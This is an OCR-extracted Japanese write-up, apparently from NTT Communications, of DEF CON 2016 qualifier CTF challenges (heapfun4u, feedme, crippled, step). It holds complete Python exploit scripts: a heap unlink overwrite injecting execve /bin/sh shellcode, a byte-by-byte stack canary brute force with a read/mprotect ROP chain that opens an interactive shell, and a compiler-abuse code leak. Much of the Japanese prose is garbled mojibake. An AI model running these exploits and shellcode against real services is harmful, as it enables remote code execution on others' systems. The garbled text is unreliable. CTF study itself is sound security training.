"32¥n", 255) =3

write(1, "[E]xit", 6[E]xit) =6

write(1, "Size: ", 6Size: ) =6

=10

mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = Ox7ffff7ff7000

NTT Communications Corporation
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F v 2 OZMIRT DI2HD mmap (C PROT_EXEC fMEESNTH D, O— REITEIEETHDI LM
DDFETF., ZOEH. FroolCSo)LI—REFKEL. main BBDUY—2T7 RLAESHR

T, FyrOCRELUES TILO— RERTSEET,

main B D5 —> 77 RL AW ENIZD” RL X (. Nice Guy (CK> THUSHIEET T,

Nice Guy ZZEIRUTZIHE. main BN SUT OBENHFOEENE T,

4008009: 55 push rbp

40080a: 48 89 e5 mov  rbp,rsp

40080d: 48 83 ec 10 sub rsp,0x10

400811: 48 8d 45 fc lea rax,[rbp-0x4]
400815: 48 89 c6 mov  rsi,rax

400818: bf c6 12 40 00 mov  edi,0x4012c6
40081d: b8 00 00 00 00 mov  eax,0x0
400822: e8 09 fe ff ff call 400630 <printf@plt>
(snip)

[Here you go: Ox7fffffffelbcl 77 RL- X (&, main BEEH S EEEBEEZITFUOH LIz & ED rbp-
0x4 72MDT. main BNV I I L —LDYA XZRANRDZET. main BEDOUS—->T R

AMEI =Nz RL RAZETBEIEET Y,

INBZHBFER. Y—TY MERDIFVYIICESTACHRE L., TDEEDIU-UZTUR SDOE

EFUTDOXRSICRDFET ., XFFHNESAOAETCY.
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free chunk n-1

data size

backward

forward

free chunk n
(target)

data size

shell code

padding

backward

forward

free chunk n+1

data size

overwrite address
— this address + 8

backward

forward

n 'l"l'Commum'céﬁons
-_
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ZCTUTORISERNMRETT,

BENBILL T OED (FBi8)

i. target->backward + (target->backward->data size) (C target->forward Z1&#H

ii. target->forward + (target->forward->data size - 8) (C target->backward Z1&#H

DIRETEZNIED 2 FEOUUE (i) T main DU -7 RLAESMI ZH> TS,

Fv 2 ODAYE FEBODESMAINTERN (E=TA-/N=TJO—-FTER) 28, free

chunk n+1 OAYARIBE%ZE L TL\B(target->forward DfEIC 8bytes X TLVS)

FOMIBTTEIARDF v > ONYA(C [main BEDUS—>7 RLAD SIS/ stack D

7 RLX - target->forward + 8] ZF/EITDZET. EEZAHEN main B DUS—>77

RLZQ NS NI stack D7 RLRICTRD

2 BEOBEHRYE ()T, UF—2FVRLALEEZERRLTCVDIN,. 1 BEEODIRSH]R

PIB(NBER URITNIERSIRN, target->backward (> T)LI— RZEMUIZT7 RLXT

HDWENSDEH. > T)ILI— ROFRICEHGEGT EBEIC U ES(TEMNNS VLGS, D

D, 2T/LO— ROFEFTFICHENRVGT) ZANDIET, BIAZT—23>I5—HES

BRWKDI XK,

XTI jump 6 (¥xeb¥x06¥x00¥x00¥x00¥x00¥x00¥x00, #ME(C T D & ¥x06eb =
1595) ([CF D& T, target Fv > D7 —FEIFHAD padding {iI&(C target->forward
DT RLANEZTIAFEFNDLSCLTNVD,

COIRRET, target Fv > U ERUYA X% Allocate U. Exit 932 & TS T)LO— RETHNET
ENET. EVO-REUATDESDTTY

#!1/usr/bin/env python
import os

import sys

import struct

import resource
import time

from socket import *
import telnetlib
#HOST = "heapfun4u_873c6d81dd688c9057d5b229cf80579e.quals.shallweplayaga.me"
#PORT = 3957

HOST = "localhost"

PORT = 1234
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sc = "¥xeb¥x06¥x00¥x00¥x00¥x00¥x00¥X00¥x48¥x31¥Xd2¥x52¥x48¥xb8¥Xx2f¥x62¥x69¥Xx6e
¥X2f¥X2f¥X73¥XO68¥X50¥X48¥XB¥Xe7¥X52¥X57¥Xx48¥X89¥Xe6¥Xx48¥x8d¥x42¥x3b¥x0f¥x05"

class TCPClient():
def __init__(self, host, port, debug=0):
self.debug = debug
self.sock = socket(AF_INET, SOCK_STREAM)

self.sock.connect((host, port))

def debug_log(self, size, data, cmd):
if self.debug != 0:
print "##%s(%d):" % (cmd, size)
for i in data.split("¥n"):
print repr(i)

def send(self, data, delay=0):
if delay:
time.sleep(delay)
nsend = self.sock.send(data)
if self.debug > 1:
self.debug_log(nsend, data, "send")

return nsend

def sendline(self, data, delay=0):
nsend = self.send(data + "¥n", delay)

return nsend

def recv(self, size=1024, delay=0):
if delay:
time.sleep(delay)
buf = self.sock.recv(size)
if self.debug > 0:
self.debug_log(len(buf), buf, "recv")

return buf
NTT Communications Corporation g—
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def recv_until(self, delim):
buf = ""
while True:
¢ = self.sock.recv(1)
buf += ¢
if delim in buf:
break
self.debug_log(len(buf), buf, "recv")

return buf

def recvline(self):
buf = self.recv_until("¥n")

return buf

def close(self):

self.sock.close()

def exploit(host, port):
client = TCPClient(host, port, debug=2)
scChunkLen = "1824"
# prepare for exploit: alloc 7 chunks and free 3 chunks
prep_heap = ["A","32"]*3 # Allocate 3 chunks of 32bytes
prep_heap += ["A",scChunkLen] # Allocate 1 chunk of 1824 bytes
prep_heap += ["A","32"]*3 # Allocate 3 chunks of 32bytes
prep_heap += ["F","2"] # Free 2nd chunk
prep_heap += ["F","4"] # Free 4th chunk
prep_heap += ["F","6"] # Free 6th chunk

client.recv_until("| ")

for i in xrange(0,len(prep_heap),2):
client.sendline(prep_heap[i])
client.recv_until(": ")
client.sendline(prep_heap[i+1])

client.recv_until("| ")
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# get the address of stack has next EIP

client.sendline("N")

nextEipStackPtr = int(client.recvline().split(" ")[3][:-1],16) + 0x13c
print "nextEip stack pointer is %s" % hex(nextEipStackPtr)

client.recv_until("| ")

# write shellcode and cheat 1st free chunk head
client.sendline("W")
heap_map = client.recv_until(": ")
for i in heap_map.split("¥n"):
if "2)" in i:
renewChunkAddr = int(i.split(" ")[1],16)
print "renew Chunk Addr is %s" % hex(renewChunkAddr)
if "4)" in i:
scChunkAddr = int(i.split(" ")[1],16)
print "shellcode Chunk Addr is %s" % hex(scChunkAddr)

payloadl = sc + "¥x90"*(int(scChunkLen)-len(sc)-16)

payload2 = struct.pack("Q", nextEipStackPtr - renewChunkAddr)

client.sendline("4")
client.recv_until(": ")
client.send(payload1)

client.recv_until("| ")

client.sendline("W")
client.recv_until(": ")
client.sendline("2")
client.recv_until(": ")
client.send(payload2)

client.recv_until("| ")

+ struct.pack("<Q",renewChunkAddr) + struct.pack("<Q",scChunkAddr)
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# allocate appropriate size so that scChunk is re-allocatec
client.sendline("A")

client.recv_until(": ")
client.sendline(str(int(scChunkLen)-8))

client.recv_until("| ")

# leave
client.sendline("E")
client.recvline()
raw_input("Enter to continue")
try:
t = telnetlib.Telnet()
t.sock = client.sock
t.interact()
t.close()
except KeyboardInterrupt:

pass

if name_ =="_ main__":

exploit(HOST, PORT)

RT9dESTIVEENF UL,

#python exploit_heapfun4u.py
cat flag
The flag is: Oh noze you pwned my h33p.
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f#sk 3 : Baby’s First [feedme] (57 &)
BREH NTTOIADI 7 BEH mAEA

i)

Don't forget to feed me

http://www.scs.stanford.edu/brop/

http://download.quals.shallweplayaga.me/47aa9b0d8ad186754acd4bece3d6al77/feedme
feedme_47aa9b0d8ad186754acd4bece3d6al77.quals.shallweplayaga.me:4092

fiREh

Baby’s First 50U D 3 BB Tdh D "feedme” (CERDHAHE LTz, BIEX TIE. "Don't forget to
feed me”&EWVSXEE EEIC. BROP (Blind Return Oriented Programming) DU > Oh &S
NTVEI, BEFC, T—)/\\DEHREEY—/(TENTLD EBONZ/N\AF U T 7LD T
O— R URL A'EE&EENTWVET,

FY. FEEENDDIZHIC nc IV REFEH> TH—/NTEHRLTHET,

$ nc feedme_47aa9b0d8ad186754acd4bece3d6bal77.quals.shallweplayaga.me 4092

FEED ME!

AAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ATE 41414141414141414141414141414141...

Child exit.

FEED ME!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ATE 41414141414141414141414141414141...

Child exit.

FEED ME!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ATE 41414141414141414141414141414141...

YUM, got 32 bytes!

Child exit.
FEED ME!
NTT Communications Corporation g
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ANBEZZDIRUZ ST, 2D—8BZ2HEHITDTOTSLDEDITIN, RACAR—AZAN
D12E. ANEHLE(CKD"YUM, got 32 bytes!" DK DR FHIMNHE I ENTWLET,

RIS, BRENE)I\AFU D7) EZ0— D) VIRBETHERLE I . D, FiLTlEgdb =
FIRBLTWEIN, TS50 10>EUT gdb-peda Z{E > THEBEEILER L TULET,

$ file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked,
for GNU/Linux 2.6.24, stripped
$ Idd feedme
BERITI 7ML TIEHBDFELEA
$ gdb -q feedme
Reading symbols from feedme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$ g
$
$ perl -e 'print "AAAA"'|./feedme > /dev/null
$ perl -e 'print "A"x100'|./feedme > /dev/null
*** stack smashing detected ***: ./feedme terminated

$

U EDRERMNS, COINAFUEUTORSIIFEN DD ENDNDFET,

> X86 THEMEIDELF J7AILTHD. RIFTAwIUZD, strip=NTLD

> NX bit (DEP) "B THD

> ROWNFWNZEXDE/N\Y T A=—/)\=TJO0-HNFHETD

> I\ IJ7A—/)\—TJO—F4EK (L. Stack Smashing Protector (SSP) (CKDTOTRNESL
% (checksec OV > REIAERKIIC readelf ZF)H L T”__stack_chk_fail”"dXF5 Bz
BUTWLWBz&. statically linked, stripped 727 7 1 JLCIX"CANARY: disabled” &R RrEh
TWEIH. SSP (FFINTLET)

NTT Communications Corporation g—
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BN DH oIz BT, BENETZ L TLWEET . SEIDFFI T3 IDA Pro ZFIAALE U,
IR D 7 A )L strip SN TWBzb > 2R VBN D TLEEB AN, F—AXA MY FLIRT 27
ZFvIF7AINZEOTINTNELUIZ. COT7AIZEA2IR— T BT ETHIREDITRF
VIBIRNIOND . BBIFICETHE/RILIEELUR,

i,‘ IDA - C:¥Users¥CTF¥DEFCON2016¥feedme¥feedme.idb (feedme)

File Edit Jump Search View Debugger Options Windows Help

SH ey Byl S ) v BQ ohghEh - #F e X P 0 DN debugser -

| IFIVI | | N ]
Librarv function Data M Reaular function Unexolored M Instruction External svmbol

7l Functions window o ® x & IDAView-A ©

Hex View-1 L1 Structures

ﬁunction name

fork_recv_str

main

__libc_start_main
_check one_fd
__libc_check_standard_fds
__libc_setup_tls
_dI_tls_setup
___pthread_initialize_minimal
__libc_csu_init
__libc_csu_fini
__assert_fail base
__assert_fail
___dcgettext
_plural_eval
_plural_lookup
_transcmp
_nl_find_msg
___dcigettext

_ nl_find_domain
_nl_load_domain
_alias_compare
_read_alias_file

_ nl_expand_alias

_ nl_make_|10nflist

_ nl_normalize_codeset

_nl_explode_name P, 5
__gettext_free_exp " i

o e Y Y Y

Line 38 of 935
& Graph overview o o8 x get_bytes_from_input er

- B
3-1 FLIRT SO 3%Fv I 71 )bA >iRk— NMEDERNERT

BB ORER. CD/\AFUTIRUTDORSRBEFZLTWWELE.

1. 800 ED)L—TDHT fork B#=IFU, FIOTCRAZEKT D

2. FIOCRNANZRFERITS

3. ANMED 1 XFB%Z 16 EHEE LU TERL. BROANZRZR I FITD2HAXETD
4. LFE3D1IXFENRITTA DT, BEOANZEFHAD

5. INSONE(F 150 BRERITSN. EMNERY D&Y+ LD hTHRIENS

I6% 3, 4 TANBEZZFRAHAFFTIH . ANXEFNZFRFTD/\W T 73 32 )1 LI ES,
CCTINYI7A =) —TO—-HDFELET, ULHIU. AFEUBLEMEE S LT SSP HMEIL TSI
&. Stack L(CAECEMN TS Stack Canary DiEEEZWZ TCUEL. FIOCANY O LTU

FWVWFET,
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B — ) R C "YUM, got 32 bytes!” ERRSHVIN D TZIHBENHDE LA UL SSP (LK
DTFIOCRMI DI L. BEOEIBUBNERITSNIEN >IN DZETT,

C T SSP MMEBEICDUWWTE X EF . SSP (& BEENIMF(ENTZFRIC Stack Canary EM(END S
A NMEERGYOTHEALET ., TUTEENSDYS— BT Stack Canary DEZIREEL. 1B
PEDD TWEHBSREIS—2H N UIRTIDMHHEATI . Lo T /Ny I7A—-/\—-TJO-ZAL)
TH—/)\DOHlEH=ZEE T B(C(E. Stack Canary ZEZFT X T (CTDEICHIVI—>F RLA%
ETMABINENDDFT,

RICIRBE et =R O FE I, Stack Canary (T TS AREIFFICS >4 AIMENRESNE I
SEI0Y —/ & fork B TERNIEFITOLANA D EZIHIFTWNET, Stack Canary £
WMZXDEFTOCRMETUEIN, COEE(HRIOTCREITDEFEZTTL\DZH, Stack
Canary DEIIENDDFERA. DED. 800 EDIL—TDHTI(L Stack Canary (FARZEENDZ E(C
RDFEY,

Stack Canary MfE%z 1 )\ hFDIEF(ICHLTULE., TOTCINEFHIRTIIMNESH (SSP M
REITDINESH) T Stack Canary DIEEIFET D ENTERNWTULL DN,

XY I 7 A—)— 1ibyteH 1byteH 2byteH
20-URVNES Brute Force CanaryiiiE Brute Force

... JAAAA .. . JAAAA .. . JAAAA

.¥xe2¥xf4¥x83 ¥x00 ¥xe2¥xf4¥x83 ¥x00 .¥xf4¥x83

Stack CanaryRCLESCpL e VS E!

Return Addr REGIESClNSGIYSGL] ¥xdc¥x90¥x04¥ x08 ¥xdc¥x90¥x04¥x08 ¥xdc¥x90¥x04¥x08

——— = L

CanaryD'EDD7h RBEUETLEEETITNE (abyteBETEDIEY)
ssPh\EET S ssPIZFEE LW
(1byte B4FE)

3-2 Byte-by-Byte Brute Force [C&3 Stack Canary $FEDA A—
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1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo \IETTCommunicatfons Elﬂﬂﬂﬂglbﬂasﬂfﬁif
100-8019, Japan -




SOl x86 DTS LADIzs. Stack Canary (&4 /{4 N TY, Stack Canary @ 4 )\ ~EI(Z
0x00 (RJL)\A K) TEESNTULDZSH., CDEZRDDIC(E 256 * 3 BDHMHEZDTRDHDZ
ENTIEET Y, TDEDS TILVEROTOTLREEHTE 800 EID)L—TFICINEDESTT,

RIC. Stack Canary fHERDHHZZEZXFT .

DA —>7 RL A% system BEEID 7 KL X(CEX.. system(“/bin/sh”); ZF{TCET D EMEET
I, NNAFURANS (S system BEZRDIFDCENTEEFFATLURR. €T >)LO—R
(S TIVZEMNE LRI DMEE) ZXDIAATEITI D EWVWS T IO-FZzmOFE LU,

JZIZU. CDJ\AFUT(E NX bit (DEP) AMERNC/RDTLDEeh, S TILO— REEDIASDTZ &
UCTEARAEUR—2DT7ICRREICLDETNTEF A, TIT. UTFOFETS )LO—-R%Z
EITTEDRIICLET,
1. US—-2F7RLR%Z read BRARICESTR. AROXAEY LICST)LO— FOXFHNHDIENN
AN ZZ D

2. {F5RIFTVD read BEICS T)LO— REXDRAD

3. read BEMNSDUS—>%(C mprotect BEENFENDILDICLTHE. >T/)LO—REX
DIAATEAEUNR—ZZEITAREICT D

4. mprotect EBENSDUSF -2 RLAZS T)LO— ROFEFEICLTHL

5. >T)LO—RAEITEND

vmmap
Start End Name
0x08048000 0x080e9000 /home /DEFCON/feedme /feedme

0x080€9000 0x080ebOOO /home /DEFCON/feedme/feedme <~ MDA EUNR—J(CS TILIO—RZEEL.

0x080eb00O 0x080ed0OO [heap] I=——T&b = \ = S
oxf7ffdeoe Oxf7ffenoo [vdso] RATAIRE (rwx) CL TS RITIT S

Oxfffddeeo oxffffec00 [stack]

3-3 >I/)V]—ROEEEERT
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NZERFERdDE Ny IT7A-)\—JO0-ZAVWTTFTROXIYIL A7 MITENES )L
Od—RZERITTEZESTY.

TLower Addr

ANEINY T 7 32WF
Stack Canary Brute Force CHFEUTCE
Return Addr readB¥DO 7 FL A

popZ3ElL Creturnd 37 R A [ELLIEE: ST =1s 4 ol P73
o readBI¥MDE15|1¥: £d
.bss address + 8@ readBIBIDE25IE: > I I—FFAHF LR
length(ShellCode) readBIEMDEIEIH : FZAHAHNFTE

mprotectBEHHNSODED 7 RLX (2T O—FO5%ER)
mprotectBIBDFBISIE . P L X
mprotectBIBIMDEE 2513 : length
mprotectBIBIME35| 2 : PR (read |write | exec)

{Higher Addr
3-4 S IT)O—RETDEODAIYVILAFI

BRAZH(C. BEEROVUT MIUTFOXKS(CLFE L,

#!1/usr/bin/python
# -*- coding: utf-8 -*-

import sys, socket, struct, telnetlib, time

def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
f = s.makefile("rw", bufsize=0)

return s, f

NTT Communications Corporation
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def read_until(f, delim="¥n"):
data = ""
while not data.endswith(delim):
data += f.read(1)

return data

def shell(s):
t = telnetlib.Telnet()
t.sock = s

t.interact()

def p32(a): return struct.pack("<I", a)

def main(argv):
if(len(argv) == 2 and argv[1] == "r"):
print "[+] connect to remote."
s,f=sock("feedme_47aa9b0d8ad186754acd4bece3d6bal77.quals.shallweplayaga.m
e", 4092)
else:
print "[+] connect to local."

s, f = sock("localhost", 4092)

read_until(f, "FEED ME!")
# byte by byte Brute Force
canary = ""
while len(canary) < 4:
for i in xrange(256):
buf = "A" * 32 + canary + chr(i)
f.write(chr(len(buf)) + buf)
data = read_until(f, "FEED ME!")
if "YUM" in data:

canary += chr(i)
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print "[+] canary: %r" % chr(i)
break

print "[+] canary: %r" % canary

SC="¥X31¥Xd2¥X52¥X68¥X2f¥X2f¥X73¥XOB¥XO8¥X2f¥X62¥X69¥X6e¥XBO¥Xe3¥Xx52¥X
53¥x89¥xe1¥x8d¥x42¥x0b¥xcd¥x80"

bss_addr = 0x080e9000

read_addr = 0x0806d870

pppr_addr = 0x0804838c

mprotect_addr = 0x0806e390

# ROP
rop =""
# __ libc_read(STDIN, bss_addr+80, len(sc))
rop += p32(read_addr)

rop += p32(pppr_addr)

rop += p32(0)

rop += p32(bss_addr+80)

rop += p32(len(sc))

# __ mprotect(bss_addr, 0x1000, 7)

rop += p32(mprotect_addr)

rop += p32(bss_addr+80)

rop += p32(bss_addr)

rop += p32(0x1000)

rop += p32(7)

payload = "A" * 32 + canary + "A" * 0xc + rop

f.write(chr(len(payload)) + payload)

time.sleep(1)

f.write(sc)
NTT Communications Corporation g
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shell(s)

if _ name__

print "[+] interact mode:"

=="_ main__":

main(sys.argv)

Znc. 9—45v b5 —)\D /bin/sh Di&ICKRIILUELZ. AL > hFa LD KNUIC flag 77
AILMFRELUZIZS. COT7AILDHFEZFENTDET flagZBE I EMNTEHLU.

bash -i
Is
feedme
flag

cat flag

[+] canary:
[+] canary:
[+] canary:
[+] canary:

[+] canary:

$ python feedme_exploit.py r

[+] connect to remote.

'¥x00'

"¥xc5'

'¥xec'

oy
'¥x00¥xc5¥xecQ’

[+] interact mode:

ATE 41414141414141414141414141414141...

The flag is: It's too bad! we cOuldn't??! dO the ROP CHAIN BLIND TOO

NTT Communications Corporation
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g 4 : Coding Challenges [crippled 64
FBEE CNTTOAEF2IVUST+ FIHE K8

Gk

How hard can a custom compiler be to write?

crippled_f7fddee5e137122934909141e7d3f728.quals.shallweplayaga.me:11111

R
C1Z Coding Challenges EWS v ILDBIRETURD. T7AILNRMIESNTH ST,
EnixDY— ) \DHNBEX (CEEHINTWNELR, F£9 ([dncat N> RTEHEL THET .

$ ncat crippled_f7fddee5e137122934909141e7d3f728.quals.shallweplayaga.me
11111
Flag file is opened on file descriptor 3
Please provide a C file to compile. Terminate the end of the C file with an ETX ¢
haracter
Example:
int main()
{
write(1, "hi", 2);
b

1024 byte maximum text limit

ESP5 C EEBOV-RI7A)axEdsdE. A2/IAILULTERITULTINBY—EXN
BELTVWDERDTY, HUICHZTIILCHDY R ITF7AIVZEXRETDE. TRDKIDERE
ITRENSE=NF U,

--Compiling--

--Linking--

hi
NTT Communications Corporation g—
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EDXDIE C EEDY-RAT7AIZXEVUTERITUTINDDNEWND & S TED
DFEEA. HIZE printf() BEZERLTXFZHENULEISETDE. FEDLIRIS—H
ISEENFE LU, £S5 #include [CLKDT1TSUDFHEHAHITEIRNELDTY,

--Compiling--

/tmp/crippled-nfwz9Q.c:2: unknown directive <include>

TEBZINEHDELDICT AT AT Z2EETFUEIBHRSHRAICERTEDNEN
S& EOTEHDFRA. read() BB TISTEFEHILEDS LLELLEN. IS—HEES
nxE Lz,

--Compiling--
--Linking--

read undefined

ZTOREBLZ ERUTHELREN. EDP5 write() BEINDODENHE UG TERVWKD T,
crippled EWWSH A MLDED., TOT S AICITEUWEIFINEE SN TULET,

ERRBE write() BB ITEERUTCISIERAIEIMBELEEZISNEIN. £ES5TN
FRVDONT SICEFBENDETEEA. £I(E write() BEIZITTTERZEEZMITUTHE
Uiz, write() BAERDEE 2 5IEUC(IXFFIDEIRA ZIMNADE I, E(IBEEHURT > 5B
ECEFI., LELVDTET main() DFERE RLAZIBEL THFE LI,

int main()

{

write(1, main, 100);

1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Elﬂf’tﬁ,‘elﬂhﬂﬂfﬂﬁf
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DL XHEITFULERISENRSDFE UL, CNIIEIRE RBOoNdizsd. &7 TILLT
HDE IRXMELUE main() BICHEE I 7> TULER TEFT,

push ebp

mov ebp, esp
sub esp, 0x110
o (8 L
leave

ret

mov eax, 0x3

ret

BER(IC write() BAEDEER RLRAZIEEI D L. int 0x80 TR AI—/LZHUE T
T TUNHERTEET,

GEELEY—RAa—1])
int main()
{
write(1, &write, 100);
b
(T — 2 OUT 2T )
mov eax, 0x4

mov ebx, [esp+0x4]
mov ecx, [esp+0x8]

mov edx, [esp+0xc]

int 0x80
ret
NTT Communications Corporation g
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CDEFRT. KOV ZOMBEOKEEAECROIETE UL, BRI FZERLT.
write() BIE TR, BD 1 ®BEICSY > TITNEERDI AT LAI—ILNDHHFSHEZEDS T,
ER. B(EREURBHSTREDLDICT RLAZIEBETDZET, AT AOD-ILZFUOHET
WIBFZ I ZES I DM TEE LR,

(EF LY —RAa—F)
int main()
{
write(1, (void *)((char *)main+26), 100);
b
(ZET—2 D77 V)
mov ebx, [esp+0x4]

mov ecx, [esp+0x8]
mov edx, [esp+0xc]
int 0x80

ret

RIS, COMBEORECERUERIVT MIATOXRSCRDFELUE.

import socket, binascii, subprocess

def main():
s = socket.socket()
s.connect(('crippled_f7fddee5e137122934909141e7d3f728.quals.shallweplay
aga.me’, 11111))

buf = s.recv(4096)
Code —_ mman
int main() {

char buf[256];

write(1, "¥n¥n¥n¥n¥n¥n¥n¥n¥n¥n", 10);

f();
NTT Communications Corporation g
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(void *)((char *)main+26)(3, buf, 100);
write(1, buf, 100);

s.send(code + "¥x03")

buf = s.recv(0x1000)

buf = s.recv(0x1000)

buf = buf[buf.find("¥n"*10)+11:buf.find("¥x00"*6)]
print 'rasm2 -d "%s"" % binascii.hexlify(buf)[:40]

subprocess.check_call(["rasm2", "-d", binascii.hexlify(buf)])

if name__ =="'_main__":

main()

NZRITIDEUTDISTZEUSTEET,

The flag is: Custom compilers can be tricky at times

NTT Communications Corporation
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f#ER 5 : Reverse Engineering Istep] (85 &)

REE NTTOZ2Z0—23>X ERLFRE

Gk

Step by step.
Running at

step_8330232df7a7e389a20dd37eb55dfc13.quals.shallweplayaga.me: 2345

fRE
Reverse Engineering B> JUDMETY . MEY—/N[CERIDEUTDLDICF—AD
ZERENFET,

$ nc step_8330232df7a7e389a20dd37eb55dfcl3.quals.shallweplayaga.me
Keyl:

FRACEY—/N\-TOJ5LEBONDET/\AF U (ELF J71)L) iRfdEnTunEL
2o T EHLE UTFDKSPIEZITIZDOTNDBLDSTI,

1. Keyl:7O>T bhzEFRRLU. 6/)\A hDI1—F—-AH (Keyl F—) &= (THD.
2. ASMBEDEIE4)\A haF— U THEDAEYSEIEE XORFTI1— RT3,
3. T O— REOFEED checksum h' 0x49bf ThHNUE. TOFEEICHIEH =TT,

F9 (BT Keyl F—ZRDDIBHBEHNGHDZSTY, HBEEMA/NSVDT, TIL—hITA—
AT checksum &4 %=iGlc 9 F+— & RDDI ATV T MERR UE U,

# try_decode_writeupl.py

pre_xored = [{}, {}, {}, {}]

def check key(key):
tmp_checksum = ©
for i in xrange(9, 4):
tmp_checksum += pre xored[i][key[i]]
return tmp_checksum == 0x49bf

for i in xrange(9, 4):
for c in string.printable:
n = ord(c)
pre_xored[i][c] = \
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sum([ord(enc[idx])”n for idx in xrange(i, len(enc), 4)])

for candidate in itertools.permutations(string.printable, 4):

key = "".join(candidate)
if check_key 1st(key):
print key

CDRAOIVT R ZETITDE - - -, EEEBEITFTF—DEEHINIAREBICEASNTLUEWNE
9, EOF—IRETH checksum FEEFFTUT7UEITH, T O— REOMEIHNIE UL ERHII(IC
BRDFEE A

$ python try_decode_writeupl.py
Qa:0

fa<

Pa|M

0bvO

Ob:K

ZTIT. F—ERXOUTBC 70— REDOHEEN x86(64)8nHFEULTIELEDTHD
Z&l ZRHEEUTEMLTHET . SEIETO— REOMEEZE x86(64)dnH5 & L TR
<BEFEZIIILTEDINESHh ZFTvILELE.

# try decode writeup2.py
import capstone

def check_valid_ins(buf):
decoded_size = 0
md = capstone.Cs(capstone.CS_ARCH X86, capstone.CS_MODE_64)
for i in md.disasm_lite(buf, len(buf)):
decoded _size += i[1] # inst size
if decoded size >= len(buf):
return True
return False

def check_key2(key):
decrypted = ""
idx = @
for ¢ in enc:
decrypted += chr(ord(c) ~ ord(key[idx]))
idx = (idx + 1) % 4
return check_valid_ins(decrypted)
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for candidate in itertools.permutations(string.printable, 4):
key = "".join(candidate)
if check_key(key) and check_key2(key):
print key

BIEUF—ERRAOVT hERITLET . BEDSTERDF—IFHNARDONDDTIN.
HFAREWOFEL,

$ python try_decode_writeup2.py
RtoM
H

BhSNEF—IRzmEY —/UTXELTHET., 35L&, [RotM] ZXE LR TH
1ZIC Key2:DANT O T bRRESNFELUIZ, £S5, INHMELL Keyl F—DKST
ER

$ nc step 8330232df7a7e389a20dd37eb55dfcl3.quals.shallweplayaga.me
Keyl: RotM
Key2:

/msoNcF—Z2zRAVWCFRO/N\A(FUZTI—-RUET, TO— FEROBERICEUATDLDS
IRAMEA R =N TWWE L.

1. BIOEFEZEUF— (RotM) TFI— RIS,
2. fEETTIO—RUEEZE SIGTRAP DJ\> RS ELUTEHET D,
3. fANUSHEDUEZITS,

000000000V400EA43 mov edi, offset buf_2
0000000000400EA48 call decode_buf ...(1)
0000000000400EAD mov [rbp+var_A@], offset buf_2
P0P00VVORRAOOE72 lea rax, [rbp+var_A@]
0000004 00ET79 mov edx, 0; oact
0000004 00ETE mov rsi, rax; act
0000000004 00ES81 mov edi, 5; sig
P0P00VVVRRLOOES6 call  _sigaction ... (2)
P00000VOPOL0OESB pushfq ... (3)
0000004 00ESC pop rax
000000400 ESD or rax, 100h
00000004 00ES3 push rax
P00000VVVRAOOE4 popfq
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000000V 400ESS nop

000000V 400ES6 fimul word ptr [rbx+48FEF845h]
0000000000400E9C xor eax, ds:28h
00000000VV400EA3 xlat

000000V 400EAL add eax, OFFF8D64Dh
0000000000400EA9 jmp gword ptr [rbx+68h]

2. THESNS SIGTRAP /\> RS(d, SHTRUT ORI — RTRT LSUEETSE
aTUlz,

void *cur_addr;
void *prev_addr;
void sigtrap_handler(int sig num, void *x, void *y)
{

prev_addr = cur_addr;

cur_addr = *(y+0xa8);

if (cur_addr > 0x400935 && cur_addr <= 0x40103D)

{

if (prev_addr > 0x400935 && prev_addr <= 0x40103D)
{
*(BYTE*)prev_addr = *(BYTE*)prev_addr ~ prev_addr;
}
*cur_addr = *cur_addr ~ cur_addr;

}

return;
}

I\ EBEHTZIRD . Key2:7O> T haFRRUZD, I—Y—-ANZHEHAD, E0\> U
FREZDFEHA. SIGTRAP J\> RS(EFTI—RIL—F>D—BDLSTIN, EDmEgzEXT
KRICLWDBEAENDEDIRDOMN,. R<HMDOFREA.

—EF/)I\YHTI\AFUZEFEITUTHET ., SIGTRAP /\> RSHAESHX BHEEHD T RLX
EHIDZVWDT, LEEOEMATI— RICHIFSD cur_addr & prev_addr DIEZEIRTBELDIC
LET,

gdb-peda$ display *0x6020C8
1: *0x6020C8 = 0Ox0
gdb-peda$ display *@x6020C0
2: *Ox6020C0 = 0Ox0

Keyl:(CHIDANDEFTEITZEDD L. UTDEFRTIL—IULFEU,

|Program received signal SIGTRAP, Trace/breakpoint trap.
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EFLAGS: 0x302 (carry parity adjust zero sign TRAP INTERRUPT directio
n overflow)

[-=-mmmmmmm - Code-----mmm - ]
0x400e93: push rax
0x400e94 : popf
0x400e95: nop
=> 0x400e96: fimul WORD PTR [rbx+0x48fef845]
0x400e9c: xor eax,DWORD PTR ds:0x28
0x400ea3: xlat  BYTE PTR ds:[rbx]
0x400ea4 . add eax,oxfff8de64d
0x400ea9: jmp QWORD PTR [rbx+0x68]

Stopped reason: SIGTRAP
0x0000000000400€96 in ?? ()
2: *Ox6020C0 = 0x0

1: *Ox6020C8 = Ox0

SIGTRAP WREELTLET, £z, ERID push rax; popf (B (CKDTISTILZRID
TRAP JSUMEESTNTWVETY ., TRAP JSUMEESNIREET(E CPU (IEnHEITHER(C
SINGLE STEP ZIDAHZEERM L. OS (& SIGTRAP ZRHUET, CNHAEFEED SIGTRAP
INRSDEB NS —(C1RDDTLEL D,

SIGTRAP J\> RSZEE T DIH(C. T/ \WHAEED LT UED/Z SIGTRAP >+ /L%
TOUSACHUTHREUEY.

gdb-peda$ signal SIGTRAP
Continuing with signal SIGTRAP.

[-------mmmmm - Code------mm - ]
Program received signal SIGTRAP, Trace/breakpoint trap.
0x400e96: mov rax,QWORD PTR [rbp-0x8]
=> Ox400e9a: dec BYTE PTR [rax+0x33]
0x400e9d: add al,ox25
0x400e9f : sub BYTE PTR [rax],al
